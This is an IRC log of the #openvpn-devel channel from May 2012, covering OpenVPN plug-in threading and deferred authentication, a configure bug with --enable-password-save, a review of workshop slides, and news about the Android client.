looking at the v3 plug-in API which comes in the 2.3 release 14:11 <@dazo> that should provide you with an even more flexible yet long-term API, so if the API is extended your plug-ins don't need to be recompiled 14:53 < Sevet> will do... i'm using v2 (debian doesn't have 2.3 yet) 14:54 < Sevet> but i'll look at that - it felt like there were useful interfaces missing (eg logging with timestamp, i rolled my own) 14:54 < Sevet> killing a client by common_name from the plugin'd be the most useful one to me 14:54 < Sevet> currently i do that over a MI unix socket but that does mean nothing else can use the MI 14:59 < Sevet> hmm, still see nothing for that, but that's not a big issue - it's easy to use ctime for my own logging, and i have nothing else that wants to use the MI 14:59 <@dazo> well, 2.3 isn't released yet either, except of alpha1 ;-) 15:00 <@dazo> the management interface is the proper interface for management stuff ... like killing clients and such, though 15:02 <@dazo> however, it might be an interesting idea to port some of the management interface to the plug-in interface ... but not something which will hit 2.3 though, we're stabilising that code base now 16:43 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 16:44 < Sevet> so, now that my plugin's a working proof-of-concept... 16:45 < Sevet> what thread/process environment do plugin calls happen in? are they always in the same process, or can they be called from different forked processes? might they be called from multiple threads at the same time? ie does the plugin context need to be threadsafe? (guessing the client doesn't need to be) 16:46 <@dazo> Sevet: openvpn doesn't do any forking or threading at all ... so your plug-in don't need to think too much about that with the current implementation 16:46 <@dazo> openvpn tackles each connection in a round-robin fashion, so no concurrency or locking challenges at all 16:47 <@dazo> however, you may fork out a process or thread inside your plug-in ... if you want to use the deferred approach during authentication 16:48 <@dazo> I believe auth-pam.so does that, iirc ... the reason is that authentication may take some time, and that would lock up all other clients ... so with a deferred action, openvpn would process another VPN client in the mean time 16:49 <@dazo> look for OPENVPN_PLUGIN_FUNC_DEFERRED in include/openvpn-plugin.h 16:50 <@dazo> ahh, my fault ... it's a separate defer/simple.c example module in the source tree 16:51 < Sevet> great thanks 16:51 <@dazo> Just curious ... what kind of issues are you solving with your plug-in? 16:51 < Sevet> i am doing my own pthread runtime thread (for listening on a udp socket) and forking a privileged worker (to play with route settings)... 16:52 < Sevet> but that deferred is useful - that could be an issue... 16:52 < Sevet> client_connected and client_disconnected use curl to reach a http api, which from what you've just said might block other clients 16:52 <@dazo> I think deferred only works with auth-user-pass situations, though 16:52 < Sevet> so i'll need to look at handling that differently 16:53 < Sevet> i'll need to do some testing under load to be sure 16:53 < Sevet> ok 16:54 <@dazo> ahh, so you pull down dynamic routes, based on some certificate informations and generate ccd on-the-fly? 16:54 < Sevet> yep 16:55 <@dazo> cool ... will you open the source code for that? I'd be interested to see if I could pulls some of your ideas into my own auth plugin, eurephia 16:55 <@dazo> !eurephia 16:55 <@vpnHelper> "eurephia" is http://www.eurephia.net/ 16:57 < Sevet> i have 2 openvpn servers forming a cluster any client can connect to. on connect it accesses a http api that returns if they're allowed to connect plus 1 or more subnets to assign to them. they're added to iroute, and to the kernel tables on the server. setenv-safe sends them to the client where a route-up script adds them on eth0 to the kernel tables with the first ip assgned to eth0. 16:57 < Sevet> once the openvpn server routes are added OSPF updates the other servers in the rack (possibly router instead later, but i only have a L2 one at the moment). when you connect it sends a sha1 authenticated timestamped message via multicast to the other server which kills the client if it's on it (enforces common_name across the servers), which means the old route gets removed and OSPF 16:57 < Sevet> makes sure the new route takes over 16:57 < Sevet> clients use the vpn as their default gateway. the net result is a) the web server assigns rfc1918 subnets to clients b) the clients get them when they connect so they all can run an identical config (except for certificates) and c) all rfc1918 ips can reach all other rfc1918 ips 16:58 < Sevet> plus they can reach all the servers in the rack via the vpn on their rfc1918 ips 16:58 <@dazo> that sounds pretty cool! 16:59 < Sevet> it's for a pbx system where endpoints connect over the vpn (udp) through a openwrt router (the openvpn client) and can reach each other and the server but don't need public ips 16:59 < Sevet> whether i can open source it or not depends on my boss and the contract with the clients it's for... i'll have to discuss it with them 16:59 < Sevet> but i've pretty much told you all the details ;) 16:59 <@dazo> :) 17:00 <@dazo> well, the idea sounds really useful ... but it's the implementation which costs time (and money) ... so I'm sure you're pretty safe ;-) 17:00 < Sevet> in theory you can just chuck in a load more openvpn servers as load increases and they can all reach each other regardless of where they're connected, and you get redundancy if a server goes down because clients can pick any of the other servers to reconnect to 17:01 <@dazo> if you're allowed to open source it ... you might get more community help in solving issues ... I know people have been asking about such concurrency challenges with multiple openvpn servers and "fail-over" scenarios 17:02 <@dazo> so this might catch some attention ... and if it's opened up, I'm sure there's interest to spread the word here on this channel and on #openvpn 17:02 < Sevet> sure, i've seen a lot of discussion but nothing quite seemed to do what i wanted 17:02 < Sevet> i'll need to go and do some load testing on the http part to be sure that's going to play nice though 17:02 <@dazo> yeah 17:03 < Sevet> if i can open source it i will, although it'll have to wait until i finish the current project before i have time to make a generalised version for everyone else to use 17:03 <@dazo> it might be it's possible to add deferred actions to client-connect ... so if you want to poke at that, we'll help you here getting it upstream in openvpn too 17:04 <@dazo> sure, no prob 17:05 < Sevet> ok 17:05 < Sevet> thanks for your help :) 17:06 <@dazo> you're welcome :) 17:23 -!- dazo is now known as dazo_afk 18:11 < Sevet> hmm, interesting... 18:12 < Sevet> i have one client doing a ping on one connection, while the client_connect does a sleep(60) on a 2nd connection to simulate a very long http request 18:12 < Sevet> and all the pings are still going through the tunnel and getting replies... 18:13 < Sevet> so perhaps i won't need a deferred after all... 18:21 < Sevet> oh nevermind. they weren't on the same server 18:21 < Sevet> it does block the pings :/ 18:21 < Sevet> thanks dazo, i'll have to think on how to handle that... it might mean a patch (in which case i'll use 2.3 and submit it upstream) 18:26 -!- Sevet [Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 255 seconds] 20:03 -!- novaflash is now known as novaflash_away --- Day changed Fri May 04 2012 00:22 -!- Sevet [~EyeSwift@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 00:27 -!- Sevet [~EyeSwift@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 250 seconds] 03:41 -!- Sevet [~EyeSwift@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 03:55 -!- novaflash_away is now known as novaflash 04:40 -!- dazo_afk is now known as dazo 04:48 <@dazo> Sevet: please use the git master branch ... that'll be the best place to base patches on. Please see this wiki for information about the whole process ... https://community.openvpn.net/openvpn/wiki/DeveloperDocumentation#Patchquality ... and if you're not too familiar with git, look at this one too: https://community.openvpn.net/openvpn/wiki/GitCrashCourse 04:48 <@vpnHelper> Title: DeveloperDocumentation – OpenVPN Community (at community.openvpn.net) 04:49 <@dazo> Your changes won't hit the 2.3 release, as we're stabilising that base now and won't take any feature changes .... but depending on how intrusive it is, 2.4 or 2.5 are reasonable targets. 2.4 will be a major code clean-up and reorganisation primarily, so if your changes are more intrusive we probably will delay it a bit more 05:36 < Sevet> dazo: i've looked at the openvpn code, looks like making client-connected support deferred would be a lot of work (and i'm on a deadline at the moment)... i'm instead doing the client settings lookup in a deferred auth_pass_verify hook (with auth-user-pass-optional), storing them in the client context and applying them in the client_connected hook. seems much simpler to do it that way. 05:36 < Sevet> i see the 3.0 roadmap discusses threads, so perhaps in 3.0 it'll no longer be an issue if the client is in its own thread by then 05:36 <@dazo> that sounds like a very sensible workaround 05:37 <@dazo> the threading will hopefully solve some of it ... but it makes no sense to have one thread per connection .... as in the moment an application uses more threads than CPU cores, the performance drops 05:38 <@dazo> uses - as in active working threads .... sleeping threads doesn't have that overhead 05:38 < Sevet> ok 06:03 <@dazo> andj: thx for the elliptic curve review! 06:48 -!- Sevet [~EyeSwift@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 256 seconds] 06:59 -!- Sevet [Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 08:46 <@andj> dazo: it was lying around for way to long 08:47 <@dazo> indeed :) 08:47 <@andj> unfortunately, I didn't have all of the knowledge required to do it properly... 08:47 <@andj> so I had to ask a few questions 08:48 <@dazo> no worries ... such patches seldom falls out of my attention span ... so I was going to nudge you and James about it at some point again :) 09:05 <@andj> Anyway, the code looks good, I just hope he can answer my questions 09:05 <@andj> because I'm interested in the answers :) 09:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:42 <@vpnHelper> RSS Update - testtrac: Some filesystems don't like ':', which is a path 'make dist' would use <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=4f6f17767d91df264b9ab26526dc018a23e9f040> 10:50 <@dazo> mattock: OpenVPN AS version is went from 2.1.3->2.1.3a->....->2.1.3z and started then with 2.1.4 and is now at 2.1.19 ... so that's how far that one has developed from 2.1.4 community edition .... 2.2.0 narrows the gap somehow, and 2.3 removes the gap completely 10:51 <@dazo> s/is went/went/ 11:52 <@mattock> dazo: ah, ok, I thought it was 2.1.4 11:52 <@mattock> except that the other way around the gap is only bigger and bigger :P 11:53 <@dazo> that's not our problem, is it? ;-) 11:53 <@mattock> nope 11:53 <@dazo> nope ... our 2.1.4 is 2.1.3 + one single patch ... while 2.1.4 AS is something completely different 11:53 <@mattock> I think the pain threshold has to raise enough 11:54 <@dazo> just wait until customers asks for IPv6 or PolarSSL support ;-) 11:54 <@mattock> for james to do something about gap (=move to 2.3+) 11:54 <@mattock> yep, or UTF-8 or something else 11:54 <@dazo> yeah 11:55 <@mattock> the openvpn-commits list is now working, if you missed the recent (<1 hour old) emails 11:55 <@mattock> and test server/client keys are ready 11:55 <@dazo> nice 11:55 <@mattock> what should we do with the SF.net Git email hook? Probably disabling it would make most sense 11:55 <@dazo> is it registered at gmane.org? 11:55 <@mattock> no, actually not 11:56 <@dazo> maybe do that ... and maybe marc.info too 11:56 <@mattock> maybe I / we should crowdsource this task :D 11:56 <@dazo> heh 11:57 * dazo thought that was exactly what he was doing :-P 11:57 <@mattock> I'll mention about this and see what happens 11:57 <@mattock> I'm not a crowd :P 11:57 <@mattock> you were "delegating" :D 11:57 <@dazo> same shit, new wrapping! 11:57 <@mattock> well, I guess you're right :) 11:58 <@mattock> nicely put 11:58 <@dazo> :) 12:00 <@mattock> the bait is in... 12:09 <@dazo> :) 14:34 <+krzee> the official android app requires inline ca, right? 14:34 <+krzee> i swear i remember someone saying that at the meeting when it was released 14:34 -!- dazo is now known as dazo_afk 14:47 <@andj> hehe.. https://www.facebook.com/?-s 14:49 <+krzee> lol 15:20 -!- Sevet [Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [] --- Day changed Sat May 05 2012 03:00 -!- Sevet [Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 03:33 -!- Sevet [Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [] 04:31 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 09:12 -!- Sevet [Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 09:28 -!- Sevet [Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 260 seconds] 10:44 -!- Sevet [~EyeSwift@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 11:03 -!- Sevet [~EyeSwift@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 244 seconds] 11:25 -!- Sevet [~EyeSwift@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 12:24 -!- Sevet [~EyeSwift@188-222-99-65.zone13.bethere.co.uk] has quit [] 13:05 -!- Sevet [Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 13:54 -!- Sevet [Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [] 16:30 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 16:56 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:46 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 23:05 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:05 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun May 06 2012 10:20 < ecrist> do we have enable-password-save set by default now? 10:38 < ecrist> nm 11:01 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 11:06 < ecrist> ping dazo/mattock 11:10 <+krzee> yes 11:10 <+krzee> (its set by default now) 11:10 < ecrist> krzee: it seems not, though 11:11 <+krzee> weird… it at least is for sure in windows 11:11 < ecrist> and, if I use --enabled-password-save at configure, openvpn --version show enabled-password-save=no 11:12 <+krzee> 2.2? 2.3? 11:12 < ecrist> I've tried NOT setting --enable-password-save, using it, and using --enable-password-save=yes 11:12 < ecrist> 2.3a1 11:14 < ecrist> if I don't set the configure option at all, it's not listed (yay or nay) in --version output 11:14 <+krzee> interesting 11:15 <+krzee> tried forcing it in the makefile or something? 11:15 <+krzee> just to see wtf 11:17 < ecrist> Sorry, 'Auth' password cannot be read from a file 11:17 < ecrist> yes, tried forcing it, every combination I can think of 11:17 < ecrist> cron2: you around? 11:21 <+krzee> interesting… sounds like a pulga! 11:21 <+krzee> (bug) 11:25 < ecrist> yeah, it does 11:25 < ecrist> fwiw, this is all prep work for our up-coming presentation this week 11:25 < ecrist> we have a pretty sweet hardware setup for the labs 11:26 < ecrist> Dell with 16GB memory, 256GB SSD, control/pxe/router VMs + 23 user VMs that all PXE boot off the pxe host, which loads their NFS share into a memory disk 11:26 <+krzee> sweet i wanna see the presentation!!! it'll be recorded? 11:26 < ecrist> so, when it's all running, all the machines are booted in memory 11:26 < ecrist> yeah, we're going to record it 11:27 < ecrist> and then post it for posterity 11:27 <+krzee> awesome 11:28 <@cron2> ecrist: sortof 11:28 < ecrist> going through basic routed client->server setup, then expanding that to connect two groups together, so vpn clients on server 1 can talk to vpn clients on server 2 (plus assocated lan machines), expanding that to use PAM authentication, followed finally by setting up NAT in pf, and redirect-gateway 11:29 < ecrist> cron2: it seems that, no matter how I use --enable-password-save with configure, openvpn refuses to allow me to save auth info into a file 11:29 <@cron2> ecrist: I seem to remember mattock had issues with that, and there was a patch floating on the list - something like a typo in configure.in or so 11:30 <@cron2> ecrist: if you're in a hurry, you could change config.h after configure is done 11:30 < ecrist> I'll look for the typo and add the patch for the time being 11:30 < ecrist> thanks 11:30 <@cron2> #define ENABLE_PASSWORD_SAVE in config.h should do it :) 11:33 <@cron2> just tried to understand configure, and I just don't understand what it's doing, or whether it actually works for --enable-small 11:35 < ecrist> configure is one of those things I'm putting effort in to NOT understanding 11:35 <@cron2> heh :) 11:35 < ecrist> more and more I'm realizing my time is running short 11:46 < ecrist> plugins should be allowed to be used in ccd entries 11:46 < ecrist> :\ 11:47 < ecrist> or, at least, there should be a way to specify a plugin for a given ccd entry 11:52 < ecrist> cron2: setting it manually, as you suggested works 11:52 < ecrist> not ideal, but it works 11:52 <@cron2> indeed - saves the moment, but needs fixing 11:55 <+krzee> i think im going to add a request for something like --down for the client, but for when it loses its connection to its server 11:55 <+krzee> since --down doesnt run when you lose connection to first --remote before connecting to second --remote 12:13 -!- dazo_ [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 12:13 -!- mode/#openvpn-devel [+o dazo_] by ChanServ 12:15 -!- dazo_ is now known as dazo 12:52 <@cron2> dazo: do you know what the status of --enable-password-save is? 12:53 <@cron2> ISTR that there was a discussion between Mattock and Alon 12:53 <@dazo> cron2: Ahh, I think that's fixed and applied 12:53 <@dazo> it was a type in configure.ac, iirc 12:53 * cron2 doesn't see a commit 12:53 <@cron2> ah, there 12:54 <@dazo> I'm not on my normal dev computer ... but will check it out now 12:54 <@cron2> found it 12:54 <@dazo> :) commit 8993847de727cf503bec58b41fbf0f71b9c617e7 should be the one :) 12:54 * cron2 *so* not understands what configure is doing internally 12:55 <@dazo> I think very few does :/ 12:55 <@dazo> the good thing about autotools is that it mostly works everywhere .... but the bad thing is very few understands how it does it and why it does what it does 12:56 <@cron2> if test "${enable_password_save+set}" = set; then : enableval=$enable_password_save; 12:56 <@dazo> hehe 13:00 <@cron2> ohmy 13:00 <@cron2> this is just the code that sets the defaults 13:01 <@cron2> *after* parsing the options 13:01 * dazo has never dared to dig deep into those generated scripts 13:01 <@cron2> and I think the enableval=... assignment is just there to have some code in the "if" branch 13:02 * cron2 is disgusted and goes to get himself drunk 13:04 <@dazo> I had the feeling reading those generated scripts had some nasty side effects .......... :-P 13:05 <+krzee> drunk on eyebleach? 13:06 <@cron2> after reading through configure, it doesn't matter anymore. Anything that cleans your mind is good 16:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 17:12 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:12 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:41 -!- dazo is now known as dazo_afk 21:53 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 23:18 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:18 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon May 07 2012 02:08 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 276 seconds] 02:11 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:11 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 02:15 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 02:17 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:17 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 03:05 -!- dazo_afk is now known as dazo 03:12 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer] 03:24 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:47 <@andj> quit 06:51 <@mattock> andj: wrong window? 06:51 <@mattock> :P 09:02 < ecrist> anyone have time today to review some slides I have made? 09:27 <@dazo> ecrist: shoot ... i'll try to squeeze it in 09:47 <@dazo> ecrist: is www.secure-computing.net down? 09:49 < ecrist> my connection at home is apparently problematic 09:50 < ecrist> haven't yet migrated to my VPS for hosting 09:51 < ecrist> ftp://ftp.secure-computing.net/pub/openvpn/bsdcan.pdf should work 10:05 * dazo looks 10:46 <@mattock> ecrist: looks ok (on page 17 atm, must leave for a while now) 10:47 < ecrist> ok, thanks! 10:52 < ecrist> krzee: if you pop in, see above 11:02 < ecrist> dazo: my website should be up again 11:02 < ecrist> required a modem reboot 11:03 <@dazo> goodie! thx! 11:03 < ecrist> I'm at the office, so had to beg the wife. 11:11 <@dazo> ecrist: I've skimmed quickly through, not looked too much at examples yet ... but it seems to make sense 11:12 <@dazo> could probably spank you for introducing users with bridging as the first step .... but it might make more sense when you go more advanced ;) 11:14 < ecrist> dazo: the ONLY thing we do is mention it 11:14 < ecrist> it's not a lab, or even actually demonstrated 11:14 < ecrist> just a 'yeah, it can bridge, moving on...' 11:15 <@dazo> ahh 11:30 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 11:30 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 14:00 <@mattock> ecrist: "Easy-­‐RSA is included with OpenVPN, but it sucks." :P 14:03 <@mattock> ecrist: typo on page 38: "enabled-password-save" -> "enable-password-save" 14:03 < ecrist> raar 14:03 < ecrist> my irc client is borked 14:04 < ecrist> can you re-send that last line, mattock? 14:05 <@mattock> ecrist: typo on page 38: "enabled-password-save" -> "enable-password-save" 14:05 < ecrist> got it, fixed 14:05 <@mattock> otherwise it was ok 14:05 <@mattock> didn't know about ssl-admin, got to try it out 14:05 < ecrist> am I missing anything obvious? 14:05 < ecrist> mattock: I'm the author 14:05 < ecrist> :) 14:06 <@mattock> ah, then I definitely got to try it :) 14:06 <@mattock> I think it covers the basics 14:06 <@mattock> and if it does not, the workshop attendees will tell you what you forgot 14:06 < ecrist> right 14:06 <@mattock> it's hard to get these things 100% right the first time in any case 14:06 <@mattock> it's probably 90% right at it is :) 14:07 <@mattock> as it is 14:07 < ecrist> we cover routed with clients, routed with clients connected to another routed server with clients, PAM authentication, redirect-gateway, and I'm going to add a certificate revokate bit at the end, too 14:07 < ecrist> and, we're going to record the talk 14:08 <@mattock> nice! 14:09 <@mattock> were any debugging techniques covered? e.g. "verb" directive, log files, etc.? 14:09 <@mattock> might be worth one slide 14:20 < ecrist> that's the other 'if there's time' topic, a slide yet to be added 15:44 -!- dazo is now known as dazo_afk 16:26 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 16:54 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:54 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:12 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection refused] 20:00 -!- teeks99 [~tomkent@190.186.7.148] has joined #openvpn-devel 20:00 -!- teeks99 [~tomkent@190.186.7.148] has quit [Read error: Connection reset by peer] 20:01 -!- teeks99 [~tomkent@190.186.7.148] has joined #openvpn-devel 20:37 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 20:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:18 -!- teeks99 [~tomkent@190.186.7.148] has quit [Ping timeout: 245 seconds] 21:19 -!- teeks99 [~tomkent@190.186.7.148] has joined #openvpn-devel --- Day changed Tue May 08 2012 00:26 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 01:06 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:06 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:15 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 01:23 -!- Netsplit *.net <-> *.split quits: teeks99, coderrr, @d12fk, EvilJStoker, @dazo_afk, maxb, @andj, waldner, novaflash, jamxNL 01:24 -!- Netsplit over, joins: teeks99, @dazo_afk, waldner, coderrr, novaflash, EvilJStoker, @andj, jamxNL, maxb, @d12fk 02:19 -!- Sevet [Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 02:19 -!- Sevet [Sevet@188-222-99-65.zone13.bethere.co.uk] has left #openvpn-devel [] 03:16 -!- dazo_afk is now known as dazo 04:27 -!- Sevet [~EyeSwift@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 04:27 -!- Sevet [~EyeSwift@188-222-99-65.zone13.bethere.co.uk] has left #openvpn-devel [] 04:52 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 04:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:55 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 05:22 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 05:22 -!- mode/#openvpn-devel [+o cron2] by ChanServ 05:22 <@cron2> *grumble* 05:24 <@dazo> ? 05:24 <@cron2> this "my irssi loses connection to freenode, reconnects, and I get kicked out of the channel until I re-identify" needs improvement 05:24 <@dazo> install znc? ;-) 05:33 <@dazo> mattock: the UTF-8 stuff on Windows ... I read through the IRC log ... and james didn't really give a clear signal on ACK if tested well ... so I'd like to have that more explicit, as that was somewhat controversial in the discussions 05:34 <@dazo> and as I have no idea how the Windows UTF-8/UCS-2/Unicode mess really works ... I don't dare to ack it 06:05 <@cron2> installing 2.3-alpha1 on win7 now... 06:06 <@dazo> mattock: want to merge James' and my response to the 'openssl ouch' thread and post it to -users? That has been asked there as well a while ago 06:06 <@dazo> could be good to have a more official response to that one 06:16 <@dazo> cron2: curious to hear how that goes :) 06:20 <@cron2> it's a pain 06:20 <@cron2> (the install went flawless, but fiddling with openvpn config files and ca.crt and so on and figuring out why things are not working [ca.crt expired, copied from wrong source] is annoying 06:25 <@mattock> dazo: I'll look into it 06:26 <@mattock> ah, you did already 06:32 <@dazo> I posted to -devel ... but thought such a statement should come from an official openvpn.net address 06:43 <@mattock> dazo: I'll forward the UCS-2/UTF-8 thingy to James 06:43 <@dazo> thx! 06:53 <@mattock> sent 06:53 <@mattock> I'm also trying to convince James to provide a separate code-signing key for the OSS project 06:54 <@mattock> OpenVPN Tech products use the same signing key as OpenVPN (OSS) atm, which I think is the primary reason for James 06:54 <@mattock> wanting to manage the signatures himself 06:55 -!- Sevet [~EyeSwift@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 06:55 <@mattock> ...moving on to code signing again 06:56 <@mattock> how fun is that? :P 07:04 -!- Sevet [~EyeSwift@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 260 seconds] 07:54 <@cron2> ok, as soon as I install the 2012 ca.crt and 2012 user keys, openvpn actually works for me :-) \o/ 09:07 -!- Sevet [~EyeSwift@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 09:29 -!- Sevet [~EyeSwift@188-222-99-65.zone13.bethere.co.uk] has left #openvpn-devel [] 10:46 -!- dazo is now known as dazo_afk 12:07 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:07 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:15 -!- Sevet [~EyeSwift@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 12:15 -!- Sevet [~EyeSwift@188-222-99-65.zone13.bethere.co.uk] has left #openvpn-devel [] 12:42 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 13:08 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:08 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:09 -!- Sevet [~EyeSwift@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 13:55 -!- Sevet_ [~EyeSwift@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 13:55 -!- Sevet [~EyeSwift@188-222-99-65.zone13.bethere.co.uk] has quit [Disconnected by services] 13:55 -!- Sevet_ is now known as Sevet 13:58 -!- Sevet_ [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 14:00 -!- Sevet [~EyeSwift@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 250 seconds] 14:01 -!- Sevet_ is now known as Sevet 15:00 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 15:34 -!- teeks99 [~tomkent@190.186.7.148] has quit [Quit: Ex-Chat] 16:13 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Quit: for(;;) break;] 16:13 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 18:30 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Quit: for(;;) break;] 18:59 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 18:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:21 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 21:28 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 21:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:58 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds] --- Day changed Wed May 09 2012 00:36 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 00:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:52 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 03:45 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock] 03:51 -!- dazo_afk is now known as dazo 05:40 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 06:05 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 06:05 -!- mode/#openvpn-devel [+o cron2] by ChanServ 06:36 <@andj> A quick status update for those interested in our Android work: 06:36 <@andj> the stuff that we've done is going to be Open Sourced 06:37 <@andj> We're looking into merging our code with Arne Schwabe's project (he announced it on the mailing list a while ago) 06:38 <@andj> Since he has more on the OpenVPN front, while we have more on the client front... 06:38 <@andj> Once that's merged, we'll try to get some stuff committed into the master branch (mostly passing sockets and tun devices across the management interface) 06:39 <@dazo> cool!!! That's awesome! 06:39 <@cron2> dazo beat me to it 06:39 * cron2 is truly impressed and awed :) 06:39 <@andj> so there's some progress, but mostly behind the scenes :) 06:40 <@andj> Arne Schwabe's work is awesome 06:41 <@andj> http://www.androidzoom.com/android_applications/communication/openvpn-for-android_cfari.html 06:41 <@vpnHelper> Title: Openvpn for Android - Android (at www.androidzoom.com) 06:42 <@andj> With the code libing here: http://code.google.com/p/ics-openvpn/ 06:42 <@vpnHelper> Title: ics-openvpn - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 06:42 <@andj> *living 06:42 <@dazo> In an organisation I'm supporting on the side, I've recommended Android phones which are ICS capable ... just because I had big hope that OpenVPN would come on that platform (they already use OpenVPN on Windows) ... so I'm looking fwd to try out this! 06:43 <@andj> I think his code already works 06:43 <@andj> It just needs a few tweaks internally... 06:43 <@dazo> nice 06:43 <@dazo> how is support for username/password auth? 06:43 <@andj> not sure 06:44 <@cron2> I'll wait for you to get this all in place, and then I'll convince $management that we all need Android phones now!! 06:44 <@dazo> okay ... I'll probably need to get myself an Android device and start playing big time :) 06:44 <@andj> Anyway, he's moving way faster than we can atm, so I hope we can get our fixes in there and help him get stuff into the master branch 06:44 <@cron2> (what *really* annoys me is that iThings have an API to do VPN-from-Apps as well, but it's "closed" and only Cisco and Juniper have been told how to use it) 06:45 * dazo is just not happy that most android phones nowadays comes without hw keyboard ... cannot imagine ssh without hw keyboard 06:45 <@andj> 